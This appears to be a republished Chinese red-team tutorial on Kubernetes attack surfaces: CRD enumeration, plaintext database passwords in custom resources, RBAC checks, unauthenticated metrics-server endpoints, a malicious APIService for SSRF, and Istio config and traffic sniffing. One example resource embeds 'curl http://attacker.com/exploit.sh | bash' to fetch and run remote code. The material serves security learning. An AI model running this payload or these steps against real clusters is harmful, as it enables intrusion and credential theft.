红队视角出发的k8s敏感信息收集——Kubernetes API 扩展与未授权访问

news2025/4/1 5:24:22

针对 Kubernetes API 扩展与未授权访问 的详细攻击视角分析，聚焦 Custom Resource Definitions (CRD) 和 Aggregated API Servers 的潜在攻击面及利用方法：

​

攻击链示例

1. 攻击者通过 ServiceAccount Token 访问集群 → 
2. 枚举 CRD 发现数据库配置资源 → 
3. 提取明文数据库密码 → 
4. 通过未授权的 metrics-server API 定位高负载节点 → 
5. 横向渗透至数据库 Pod。

Custom Resource Definitions (CRD) 攻击场景

目标：通过查询或滥用 CRD，发现自定义资源中的敏感数据（如凭据）、漏洞的自定义控制器，或利用宽松的 RBAC 权限进行提权。

枚举集群中的 CRD

列出所有 CRD

为了枚举Kubernetes集群中的自定义资源定义（Custom Resource Definitions, CRDs），可以使用kubectl get crd命令。这将帮助你了解当前集群中定义了哪些CRD，以及它们的一些基本信息。

执行以下命令来列出集群中所有的CRD，并以宽格式输出（-o wide），以便获取更多细节：

kubectl get crd -o wide

运行上述命令后，你可能会看到类似如下的输出：

NAME                        CREATED AT             AGE
databases.example.com       2024-01-01T12:00:00Z   14m
workflows.argoproj.io       2024-01-02T15:30:00Z   13m

请在此添加图片描述

在这个示例输出中：

  • NAME 列出了每个CRD的名称。
  • CREATED AT 显示了每个CRD创建的时间戳。
  • AGE 表明了从创建到现在的时间长度。

如果你想查看某个特定CRD的更详细信息，包括其规格和状态，可以使用kubectl describe命令。例如，要获取关于databases.example.com CRD的详细信息，你可以运行：

kubectl describe crd databases.example.com

此命令会提供该CRD的完整定义，包括它的规格、状态、已建立的资源版本等详细信息，这对于理解CRD的功能及其在集群中的使用情况非常有用。

分析高风险 CRD

敏感数据存储

分析Kubernetes集群中的自定义资源定义（CRD）以识别潜在的安全风险是确保集群安全的重要步骤。以下是两个主要的风险点及如何进行相应的分析：

如果CRD名称包含诸如secret、credential、config等关键词，这可能意味着该CRD用于存储或处理敏感信息。虽然名称本身并不能完全确定其是否真的存储了敏感数据，但它确实是一个重要的提示信号。

你可以通过以下命令过滤出名称中包含特定关键词的CRD：

kubectl get crd -o json | jq '.items[] | select(.metadata.name | contains("secret") or contains("credential") or contains("config")) | .metadata.name'

请在此添加图片描述

一旦找到了可能涉及敏感数据的CRD，可以进一步查看它们的详细定义和用途：

kubectl describe crd <crd-name>

请在此添加图片描述

通过检查CRD的规范部分（.spec），你可以了解这些资源是如何被使用的，以及它们的数据模型是否确实包含敏感信息。

自定义控制器漏洞

自定义控制器通常与CRD紧密相关，负责监听并处理这些资源的变化。如果控制器镜像存在已知的安全漏洞（CVE），则可能导致严重的安全隐患。

首先，找到与CRD相关的控制器部署。这通常涉及到查找相关的Deployment、StatefulSet或其他工作负载资源。你可以从CRD的描述信息或者直接在集群配置文件中寻找线索。

例如，如果你知道某个CRD是由特定命名空间下的Deployment管理的，可以查看该Deployment的详细信息：

kubectl get deployment -n <namespace> -o yaml | grep image:

这条命令会列出指定命名空间下所有Deployment所使用的容器镜像。

对于每个镜像，你可以使用多种工具和服务来检查是否存在已知的CVE：

  • Trivy 或 Clair：这些工具可以帮助你扫描容器镜像中的已知漏洞。
  • 云提供商的安全扫描服务：如AWS ECR、Google Container Registry等提供的内置镜像扫描功能。

例如，使用Trivy扫描一个本地或远程的Docker镜像：

trivy image <image-name>

查询自定义资源数据

获取自定义资源实例

为了查询特定自定义资源（CR）的实例数据，你可以使用kubectl get命令并指定自定义资源的类型和命名空间。以下是如何获取名为databases.example.com的CRD在default命名空间下的所有实例，并以YAML格式输出其详细信息。

假设CRD的名称为databases.example.com，你可以运行以下命令来获取该CRD的所有实例及其详细配置：

kubectl get databases.example.com -n default -o yaml

这条命令会输出所有属于databases.example.com类型的自定义资源实例的详细信息，包括它们的规格（spec）、状态（status）等。

以下是可能的输出示例，其中包含了一些敏感信息如数据库连接字符串、用户名和密码：

apiVersion: v1
items:
- apiVersion: databases.example.com/v1alpha1
  kind: Database
  metadata:
    name: mysql-db
    namespace: default
  spec:
    host: mysql.default.svc.cluster.local
    username: admin
    password: Pa$$w0rd
    port: 3306
    databaseName: mydatabase
kind: List
metadata:
  resourceVersion: ""
  selfLink: ""

在这个示例中：

  • host: 数据库服务的主机地址。
  • username: 连接数据库所需的用户名。
  • password: 连接数据库所需的密码。
  • port: 数据库服务监听的端口。
  • databaseName: 要使用的具体数据库名称。

请在此添加图片描述

利用 CRD 控制器的漏洞

利用CRD控制器中的漏洞（如代码执行或服务器端请求伪造SSRF漏洞）进行攻击是一种严重的安全威胁。通过创建恶意的自定义资源实例，攻击者可能能够触发这些漏洞并执行未经授权的操作。以下是如何模拟这种攻击的示例，但请注意，实际执行此类操作是非法且违反道德的行为，仅应在合法授权的安全测试环境中进行。

假设存在一个名为MaliciousJob的CRD，其对应的控制器存在代码执行漏洞。你可以尝试通过创建该类型的资源来触发攻击。下面是一个示例YAML配置文件：

kubectl apply -f - <<EOF
apiVersion: example.com/v1
kind: MaliciousJob
metadata:
  name: attack
spec:
  command: "curl http://attacker.com/exploit.sh | bash"
EOF

在这个示例中：

  • apiVersion, kind, 和 metadata.name 定义了自定义资源的API版本、类型和名称。
  • spec.command 包含了将要执行的命令。这里假设攻击者想要从远程服务器下载一个脚本并立即执行它。

提权场景示例

宽松的 RBAC 权限

如果RBAC配置过于宽松，允许广泛的权限（如create、update等），则可能存在被滥用的风险。

要检查某个ServiceAccount是否具有对特定CRD执行某些操作（例如创建databases.example.com类型的资源）的权限，可以使用kubectl auth can-i命令。以下是如何操作的具体步骤：

假设你想验证当前上下文中的ServiceAccount是否有权限在所有命名空间中创建databases.example.com类型的资源，可以运行以下命令：

kubectl auth can-i create databases.example.com --all-namespaces
  • 如果返回 “yes”，表示该ServiceAccount确实有权限创建这种类型的资源。
  • 如果返回 “no”，则表示没有相应的权限。

请在此添加图片描述

若发现权限设置过于宽松，需要进一步查看相关的Role或ClusterRole以及它们绑定到ServiceAccount的方式。可以通过以下命令获取更详细的信息：

kubectl get roles,clusterroles -o wide    //列出所有Roles和ClusterRoles

请在此添加图片描述

kubectl describe role <role-name> -n <namespace>
# 或者对于ClusterRole
kubectl describe clusterrole <clusterrole-name>       //查看特定Role或ClusterRole的详细信息

请在此添加图片描述

kubectl get rolebindings,clusterrolebindings -o wide   //检查RoleBindings和ClusterRoleBindings

请在此添加图片描述

查看具体绑定的详情：

kubectl describe rolebinding <rolebinding-name> -n <namespace>
# 或者对于ClusterRoleBinding
kubectl describe clusterrolebinding <clusterrolebinding-name>

请在此添加图片描述

Aggregated API Servers 攻击场景

目标：利用附加 API 服务（如 metrics-server、Istio API）的未授权端点或已知漏洞，获取集群信息或执行命令。

发现聚合 API 服务

列出所有 API 资源

列出所有Kubernetes API资源是一个了解集群中可用资源类型及其属性的有效方法。通过kubectl api-resources命令，你可以查看所有的API资源以及它们是否命名空间化、所属的API版本等信息。以下是具体的命令和示例输出。

要列出所有支持list操作的API资源，并以宽格式显示详细信息，可以使用以下命令：

kubectl api-resources --verbs=list -o wide

运行上述命令后，你可能会看到类似如下的输出：

请在此添加图片描述

NAME          SHORTNAMES   APIVERSION               NAMESPACED   KIND
metrics       metrics      metrics.k8s.io/v1beta1   false        NodeMetrics
pods          po          v1                       true         Pod
services      svc         v1                       true         Service
namespaces    ns          v1                       false        Namespace

在这个示例输出中：

  • NAME: 资源的名称。
  • SHORTNAMES: 资源的简称（如果有的话），可用于简化命令输入。
  • APIVERSION: 资源对应的API版本。
  • NAMESPACED: 表明该资源是否是命名空间级别的（true表示是，false表示不是）。
  • KIND: 资源的种类或类型。

如果你想过滤特定的资源类型或者只对某些API组感兴趣，可以结合其他参数使用kubectl api-resources命令。例如，仅列出属于某个特定API组的资源：

kubectl api-resources --api-group=apps

请在此添加图片描述

或者，如果你只想查看命名空间级别的资源：

kubectl api-resources --namespaced=true

请在此添加图片描述

识别未授权端点

使用 kubectl proxy 命令可以为Kubernetes API服务器创建一个代理服务器，它默认情况下会通过本地的API服务器认证和授权机制进行通信。然而，直接通过这种方式访问API并不意味着绕过了所有的认证和授权检查；实际上，kubectl proxy 会将请求转发给API服务器，并附带当前上下文的认证信息。

但是，如果某个服务（例如metrics-server）配置不当，可能允许未经身份验证或未授权的访问，这就会成为一个安全隐患。下面是如何检测这种情况的具体步骤：

首先，需要启动kubectl proxy，它会在本地机器上打开一个端口（这里以8080为例），并将请求转发到Kubernetes API服务器。

kubectl proxy --port=8080 &

接下来，你可以尝试通过这个代理访问特定的API端点。在这个例子中，我们将尝试访问metrics.k8s.io/v1beta1/nodes，这是一个通常由metrics-server提供的端点，用于获取节点资源使用的数据。

curl http://localhost:8080/apis/metrics.k8s.io/v1beta1/nodes
  • 如果响应包含了节点资源使用的详细信息，则说明该端点可能被配置为允许未授权访问（除非你的客户端环境已经预先进行了身份验证）。
  • 如果响应是一个权限不足或其他形式的错误消息（如HTTP 403 Forbidden），则表明适当的认证和授权机制正在生效。

利用已知漏洞（以 metrics-server 为例）

CVE-2020-8562：未授权访问

CVE-2020-8562 涉及的是Kubernetes metrics-server的一个安全漏洞，它允许攻击者通过未认证的 /metrics 端点获取敏感指标数据。这种类型的漏洞可能导致未经授权的用户能够访问集群内资源的详细性能数据（如Pod的内存/CPU使用情况），从而可能推断出业务负载和其他敏感信息。

假设攻击者知道了metrics-server的IP地址，他们可以通过以下命令尝试未经身份验证地访问 /metrics 端点：

curl -k https://<metrics-server-ip>:443/metrics

这里的 -k 参数用于忽略SSL证书验证错误（通常在使用自签名证书时需要）。

如果该端点没有正确配置认证和授权，则响应将包含详细的度量数据，例如：

# HELP kube_pod_container_resource_limits_cpu_cores The sum of CPU limits in cores.
# TYPE kube_pod_container_resource_limits_cpu_cores gauge
kube_pod_container_resource_limits_cpu_cores{namespace="default",pod="example-pod"} 1
...

这些信息可以揭示关于Pod资源限制、请求以及实际使用的具体数值，对于攻击者而言，这是非常有价值的信息，可用于进一步的攻击规划或识别潜在的目标。

CVE-2021-25749：kube-apiserver 聚合层 SSRF

通过恶意配置APIService来发起服务器端请求伪造（SSRF）攻击是一种严重的安全威胁。这种攻击利用了Kubernetes API聚合层的特性，允许攻击者将自定义API服务注册到集群中，并且如果配置不当，可能会导致敏感信息泄露或其他形式的安全风险。

以下是一个示例配置，展示了如何创建一个可能被用于SSRF攻击的APIService：

apiVersion: apiregistration.k8s.io/v1
kind: APIService
metadata:
  name: v1.attacker.com
spec:
  service:
    name: malicious-service
    namespace: default
  group: attacker.com
  version: v1
  insecureSkipTLSVerify: true  # 这个设置可以被用于绕过TLS验证
  caBundle: ""  # 空的CA bundle意味着不使用任何证书验证

在这个配置中：

  • service.name 和 service.namespace 指定了后端服务的位置。
  • group 和 version 定义了新的API组和版本。
  • insecureSkipTLSVerify: true 表示跳过TLS证书验证，这可能导致中间人攻击。
  • caBundle: “” 表示没有提供CA证书捆绑包，进一步削弱了安全性。

针对 Service Mesh API（如 Istio）

提取 Envoy 配置

通过Istio控制面API获取路由规则可以帮助你了解服务网格内的流量管理配置，但这也意味着如果权限配置不当，可能会被攻击者利用来获取敏感信息，如内部服务的IP地址和端口映射等。

要通过Istio控制面API（通常是istiod）获取配置信息，可以使用以下命令：

curl -k -H "Authorization: Bearer $TOKEN" \
  https://istiod.istio-system:15014/config_dump

在这个命令中：

  • -k 参数用于忽略SSL证书验证错误。
  • -H "Authorization: Bearer T O K E N " 添加了必要的认证头，其中 TOKEN" 添加了必要的认证头，其中 TOKEN"添加了必要的认证头，其中TOKEN是有效的Kubernetes令牌，用于身份验证。
  • https://istiod.istio-system:15014/config_dump 是Istio控制面的一个调试端点，它返回当前Envoy代理的配置快照。

利用 mTLS 配置错误

在Istio服务网格中，mTLS（双向TLS）用于加密和验证服务间的通信。然而，如果PeerAuthentication策略配置为PERMISSIVE模式，则意味着服务间通信可以既通过mTLS加密，也可以通过纯文本方式进行。这种配置可能会被攻击者利用来嗅探未加密的流量。

当PeerAuthentication设置为PERMISSIVE时，这意味着服务可以选择使用mTLS或继续使用未加密的HTTP进行通信。这为中间人攻击（MITM）提供了机会，因为攻击者可能能够拦截和读取未加密的流量。

apiVersion: security.istio.io/v1beta1
kind: PeerAuthentication
metadata:
  name: default
  namespace: istio-system
spec:
  mtls:
    mode: PERMISSIVE

在此配置下，服务可以选择是否使用mTLS，这意味着存在未加密通信的可能性。

假设你在一个网络位置上能够访问到目标服务的流量，你可以使用工具如tcpdump来捕获网络流量。以下是一个示例命令，用于捕获端口8080上的所有流量并保存到一个文件中：

tcpdump -i eth0 'port 8080' -w traffic.pcap

在这个命令中：

  • -i eth0 指定要监听的网络接口。
  • ‘port 8080’ 是一个过滤器表达式，仅捕获指定端口上的流量。
  • -w traffic.pcap 将捕获的数据包写入traffic.pcap文件，以便后续分析。

总结

首先，通过枚举集群中的Custom Resource Definitions (CRD)，可以发现存储敏感数据的资源或存在漏洞的自定义控制器，进而分析是否存在安全风险。其次，宽松的RBAC权限配置可能导致未经授权的操作，如创建恶意资源实例以触发代码执行或SSRF漏洞。此外，Aggregated API Servers若配置不当，也可能成为攻击入口点，允许攻击者获取内部服务的详细信息或执行未授权操作。

为了防御此类攻击，必须实施严格的认证和授权策略，确保所有API访问都经过适当的验证。同时，应避免使用过于宽松的RBAC规则，并定期审查现有的安全设置。启用TLS加密、应用网络隔离措施、以及使用自动化的安全扫描工具来检测和修复已知漏洞也是必要的防护手段。总之，持续的安全监控和审计对于保护Kubernetes环境免受潜在威胁至关重要。通过遵循最佳实践并及时更新安全策略，组织能够有效降低被攻击的风险。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2300066.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

11. Docker 微服务实战(将项目打包生成镜像，在 Docker 当中作为容器实例运行)

11. Docker 微服务实战(将项目打包生成镜像，在 Docker 当中作为容器实例运行)

11. Docker 微服务实战(将项目打包生成镜像&#xff0c;在 Docker 当中作为容器实例运行) 文章目录 11. Docker 微服务实战(将项目打包生成镜像&#xff0c;在 Docker 当中作为容器实例运行)2. 最后&#xff1a; 建 Module - docker_boot 编辑 pom <?xml version"1.0&…
阅读更多...
计算机视觉：卷积神经网络(CNN)基本概念(二)

计算机视觉：卷积神经网络(CNN)基本概念(二)

第一章&#xff1a;计算机视觉中图像的基础认知 第二章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(一) 第三章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(二) 第四章&#xff1a;搭建一个经典的LeNet5神经网络 接上一篇《计算机视觉&am…
阅读更多...
【数据结构-红黑树】

【数据结构-红黑树】

文章目录 红黑树红黑树介绍红黑树的五个基本性质红黑树的平衡原理红黑树的操作红黑树的操作 代码实现节点实现插入和查询操作 红黑树 红黑树介绍 红黑树&#xff08;Red-Black Tree&#xff09;是一种自平衡的二叉查找树&#xff08;Binary Search Tree, BST&#xff09;&…
阅读更多...
dify.ai 配置链接到阿里云百练等云厂商的 DeepSeek 模型

dify.ai 配置链接到阿里云百练等云厂商的 DeepSeek 模型

要将 dify.ai 配置链接到阿里云百练等云厂商的 DeepSeek 模型. 申请阿里云百练的KEY 添加模型 测试模型
阅读更多...
应用分层、三层架构和MVC架构

应用分层、三层架构和MVC架构

前言 在前面中&#xff0c;我们已经学习了Spring MVC 的一些基础操作&#xff0c;那么后面就用一些简单的案例来巩固一下。 在开始学习做案例之前&#xff0c;我们先来了解一下在软件开发中常见的设计模式和架构。 应用分层 含义 应用分层是一种软件开发设计思想&#xff0…
阅读更多...
Apache Struts2 - 任意文件上传漏洞 - CVE-2024-53677

Apache Struts2 - 任意文件上传漏洞 - CVE-2024-53677

0x01&#xff1a;漏洞简介 Apache Struts 是美国 Apache 基金会的一个开源项目&#xff0c;是一套用于创建企业级 Java Web 应用的开源 MVC 框架&#xff08;将软件分为模型&#xff08;Model&#xff09;、视图&#xff08;View&#xff09;和控制器&#xff08;Controller&a…
阅读更多...
传统混合专家模型MoE架构详解以及python示例（DeepSeek-V3之基础）

传统混合专家模型MoE架构详解以及python示例（DeepSeek-V3之基础）

我们已经了解到DeepSeek-V3的框架结构基于三大核心技术构建：多头潜在注意力（MLA）、DeepSeekMoE架构和多token预测（MTP）。而DeepSeekMoE架构的底层模型采用了混合专家模型（Mixture of Experts，MoE）架构。所以我们先了解一下传统混合专家模型MoE架构。 一、传统混合专家模…
阅读更多...
安全筑基，智能赋能：BeeWorks IM引领企业协同新纪元

安全筑基，智能赋能：BeeWorks IM引领企业协同新纪元

在数字经济高速发展的今天&#xff0c;企业通讯系统已从单纯的信息传递工具演变为支撑业务创新的核心平台。传统通讯工具在安全性、智能化、协同性等方面的不足&#xff0c;严重制约着企业的数字化转型进程。BeeWorks IM系统以其创新的技术架构和智能化功能&#xff0c;正在重新…
阅读更多...
solidworks零件的绘制学习

solidworks零件的绘制学习

1、拉伸凸台拉伸切除可以在一个零件中打孔&#xff0c;如下图&#xff1a; 2、旋转凸台配合旋转切除&#xff1b; 3、薄壁特征&#xff1a;在拉伸凸台&#xff0c;旋转凸台中都有&#xff1b;在一个面中画完草图&#xff0c;然后选择拉伸凸台或旋转凸台&#xff0c;里面就会出…
阅读更多...
llama.cpp部署 DeepSeek-R1 模型

llama.cpp部署 DeepSeek-R1 模型

一、llama.cpp 介绍 使用纯 C/C推理 Meta 的LLaMA模型&#xff08;及其他模型&#xff09;。主要目标llama.cpp是在各种硬件&#xff08;本地和云端&#xff09;上以最少的设置和最先进的性能实现 LLM 推理。纯 C/C 实现&#xff0c;无任何依赖项Apple 芯片是一流的——通过 A…
阅读更多...
Spring源码分析のBean创建流程（上）

Spring源码分析のBean创建流程（上）

文章目录 前言一、preInstantiateSingletons1.1、getMergedLocalBeanDefinition1.2、isFactoryBean 二、getBean 前言 原生Spring在refresh方法中&#xff0c;会在finishBeanFactoryInitialization&#xff1a;preInstantiateSingletons方法中直接创建所有非懒加载的单例Bean。…
阅读更多...
DeepSeek笔记（二）：DeepSeek局域网访问

DeepSeek笔记（二）：DeepSeek局域网访问

如果有多台电脑&#xff0c;可以通过远程访问&#xff0c;实现在局域网环境下多台电脑共享使用DeepSeek模型。在本笔记中&#xff0c;首先介绍设置局域网多台电脑访问DeepSeek-R1模型。 一、启动Ollama局域网访问 1.配置环境变量 此处本人的操作系统是Windows11&#xff0c;…
阅读更多...
基于大数据的全国热门旅游景点数据分析系统的设计与实现

基于大数据的全国热门旅游景点数据分析系统的设计与实现

【大数据】基于大数据的全国热门旅游景点数据分析系统的设计与实现&#xff08;完整系统源码开发笔记详细部署教程&#xff09;✅ 目录 一、项目简介二、项目界面展示三、项目视频展示 一、项目简介 该系统主要包括登录注册、系统首页、图表分析、数据管理和个人信息五大功能模…
阅读更多...
【Unity3D】Jenkins Pipeline流水线自动构建Apk

【Unity3D】Jenkins Pipeline流水线自动构建Apk

目录 一、准备阶段 二、创建Pipeline流水线项目 三、注意事项 四、扩展 1、Pipeline添加SVN更新项目Stage阶段 一、准备阶段 1、安装tomcat 10.0.5 Index of apache-local/tomcat/tomcat-10 2、安装jdk 17 Java Archive Downloads - Java SE 17.0.13 and later 3、…
阅读更多...
Edge浏览器翻译|自动翻译设置

Edge浏览器翻译|自动翻译设置

文章目录 Edge浏览器翻译|自动翻译设置右键翻译显示原文 Edge浏览器翻译|自动翻译设置 在 Microsoft Edge 浏览器中使用 Microsoft Translator - Microsoft 支持 进入浏览器设置,从首选语言列表中移除多余的语言设置 网站将以受支持语言列表中的第一种语言进行显示。若要重新…
阅读更多...
基于微信小程序的场地预约设计与实现

基于微信小程序的场地预约设计与实现

第3章 系统设计 3.1系统设计目标 本系统的实现可以帮助体育馆场地信息的管理。帮助管理员对注册用户管理以及用户预约管理。同时可以帮助用户进行场地预约。本系统可以实现用户足不出户预约到需要的场地&#xff0c;为用户提供场地信息了解的平台。 3.2系统功能结构图 本系统的…
阅读更多...
腾讯发布混元-3D 2.0: 首个开源高质3D-DiT生成大模型

腾讯发布混元-3D 2.0: 首个开源高质3D-DiT生成大模型

在之前的文章中已经和大家介绍过腾讯HunYuan-3D 1.0&#xff0c;感兴趣的小伙伴可以点击下面链接阅读~ HunYuan-3D 是首个开源高质3D-DiT生成大模型&#xff0c;几何与纹理解藕生成&#xff0c;一键将创意具象化。 2.0模型架构图及介绍 2.0模型将几何和纹理生成解耦&#xff0…
阅读更多...
计算机性能与网络体系结构探讨 —— 基于《计算机网络》谢希仁第八版

计算机性能与网络体系结构探讨 —— 基于《计算机网络》谢希仁第八版

(꒪ꇴ꒪ )&#xff0c;Hello我是祐言QAQ我的博客主页&#xff1a;C/C语言&#xff0c;数据结构&#xff0c;Linux基础&#xff0c;ARM开发板&#xff0c;网络编程等领域UP&#x1f30d;快上&#x1f698;&#xff0c;一起学习&#xff0c;让我们成为一个强大的攻城狮&#xff0…
阅读更多...
基于vue3实现的课堂点名程序

基于vue3实现的课堂点名程序

设计思路 采用vue3实现的课堂点名程序&#xff0c;模拟课堂座位布局&#xff0c;点击开始点名按钮后&#xff0c;一朵鲜花在座位间传递&#xff0c;直到点击结束点名按钮&#xff0c;鲜花停留的座位被点名。 课堂点名 座位组件 seat.vue <script setup>//组合式APIimpo…
阅读更多...
kkFileView二开之pdf转图片接口

kkFileView二开之pdf转图片接口

kkFileView二开之Pdf转图片接口 kkFileView二开系列文章&#xff1a;1 kkFileView源码下载及编译2 Pdf转图片接口2.1 背景2.2 分析2.2 接口开发2.2.1 编写Pdf转图片方法2.2.2 编写转换接口 2.3 接口测试2.3.1 Pdf文件准备2.3.2 pdf2Image 3 部署 kkFileView二开系列文章&#x…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023